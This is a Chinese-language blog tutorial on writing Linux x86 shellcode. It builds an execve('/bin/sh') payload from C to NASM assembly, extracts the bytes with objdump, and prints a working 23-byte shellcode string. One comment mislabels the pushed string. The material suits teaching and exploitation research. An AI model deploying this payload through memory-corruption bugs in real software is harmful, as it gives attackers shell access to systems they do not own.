zoukankan      html  css  js  c++  java
  • linux下shellcode编写入门

    继续更新

    linux下shellcode的编写:

    首先在windows下写过shellcode的童鞋都知道,linux下的编写方法也是一样的,就拿一个简单的生成新shell作为实例:

    首先C语言的表达如下:

    shellcode_execve.c

    #include<stdio.h>
    int main()
    {
        char *name[2];
        name[0]="/bin/sh";
        name[1]=NULL;
        execve(name[0],name,NULL);
    }

    编译:gcc shellcode_execve.c -o shellcode_execve

    运行:./shellcode_execve

    sh-4.1# 

    正常弹出一个shell,证明这个想法是可行的

    首先函数execve的三个参数分别入栈

    接着调用int x80中断的11号系统调用编号(即eax赋值为11)

    写出shellcode_execve.asm

    section .text
    global _start
    _start:
    xor eax,eax
    push eax
    push 0x68732f6e ;字符串/bash//sh
    push 0x69622f2f 
    mov ebx,esp
    push eax
    push ebx
    mov ecx,esp
    mov al,0xb     ;0xb=11h
    int 0x80

    编译:nasm -f elf shellcode_execve.asm

    连接:ld -o shellcode_execve shellcode_execve.o

    运行:./shellcode_execve

    sh-4.1# 

    可以正常运行

    接下来要提取出机器码来,用objdump

    root@seaeast:~# objdump -d shellcode_execve
    shellcode_execve: file format elf32-i386
    
    
    Disassembly of section .text:
    
    08048060 <_start>:
    8048060:    31 c0                      xor %eax,%eax
    8048062:    50                          push %eax
    8048063:    68 6e 2f 73 68             push $0x68732f6e
    8048068:    68 2f 2f 62 69          push $0x69622f2f
    804806d:    89 e3                      mov %esp,%ebx
    804806f:    50                           push %eax
    8048070:    53                          push %ebx
    8048071:    89 e1                      mov %esp,%ecx
    8048073:    b0 0b                     mov $0xb,%al
    8048075:    cd 80                      int $0x80

    shellcode="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

    标题: 作者: 时间: 链接:
  • 相关阅读:
    关于Dockerfile
    hiho一下 第六十四周 Right-click Context Menu
    hdu2642二维树状数组单点更新+区间查询
    东大oj-1511: Caoshen like math
    东大OJ-1588: Routing Table
    东大oj-1591 Circle of friends
    2015年辽宁省赛Interesting Tree
    东大OJ-1544: GG的战争法则
    迷宫问题-广度优先搜索
    vijos P1009清帝之惑之康熙
  • 原文地址:https://www.cnblogs.com/Lamboy/p/2616103.html
Copyright © 2011-2022 走看看